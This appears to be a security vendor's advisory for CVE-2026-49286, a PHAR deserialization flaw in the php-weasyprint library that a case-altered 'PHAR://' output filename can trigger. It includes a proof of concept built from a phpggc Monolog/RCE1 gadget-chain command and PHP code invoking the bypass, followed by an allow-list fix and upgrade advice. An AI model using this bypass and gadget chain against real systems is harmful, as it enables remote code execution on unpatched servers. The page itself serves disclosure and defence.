CVE-2026-49286

PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

if (0 === \strpos($filename, 'phar://')) {
    throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}

if (0 === \strpos($filename, 'phar://')) {
    throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}

# Craft a PHAR with a fast-destruct gadget chain
phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar

<?php
use Pontedilana\PhpWeasyPrint\Pdf;

$pdf = new Pdf('/usr/local/bin/weasyprint');
// Case-altered wrapper bypasses the lowercase 'phar://' blacklist
$pdf->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
// On PHP < 8, the PHAR metadata is deserialized -> /tmp/exploit is created

• Remote code execution and filesystem access through PHAR metadata deserialization on PHP < 8, when the output filename is attacker-influenced and a PHAR can be planted.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High), Critical in deployments running PHP 7 with an upload surface; adjust to your environment.

CWE-502 (Deserialization of Untrusted Data).

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

CVE-2026-49286 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.6.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Replace the case-sensitive blacklist with a scheme allow-list (file / no scheme), comparing the lowercased scheme parsed from the filename:

protected const ALLOWED_PROTOCOLS = ['file'];

protected function isProtocolAllowed(string $filename): bool
{
    if (false === $parsed = \parse_url($filename)) {
        throw new \InvalidArgumentException('The filename is not valid.');
    }
    $protocol = isset($parsed['scheme']) ? \strtolower($parsed['scheme']) : 'file';
    // ...special-case Windows drive letters (C:\...) as 'file'...
    return \in_array($protocol, self::ALLOWED_PROTOCOLS, true);
}

prepareOutput() then rejects any non-file scheme (phar, PHAR, php, http, ...) before file_exists() is reached.

1. What is CVE-2026-49286? CVE-2026-49286 is a high-severity insecure deserialization vulnerability in pontedilana/php-weasyprint (composer), affecting versions <= 2.5.1. It is fixed in 2.6.0. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. How severe is CVE-2026-49286? CVE-2026-49286 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pontedilana/php-weasyprint are affected by CVE-2026-49286? pontedilana/php-weasyprint (composer) versions <= 2.5.1 is affected.
4. Is there a fix for CVE-2026-49286? Yes. CVE-2026-49286 is fixed in 2.6.0. Upgrade to this version or later.
5. Is CVE-2026-49286 exploitable, and should I be worried? Whether CVE-2026-49286 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-49286 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-49286? Upgrade pontedilana/php-weasyprint to 2.6.0 or later.

Other vulnerabilities in pontedilana/php-weasyprint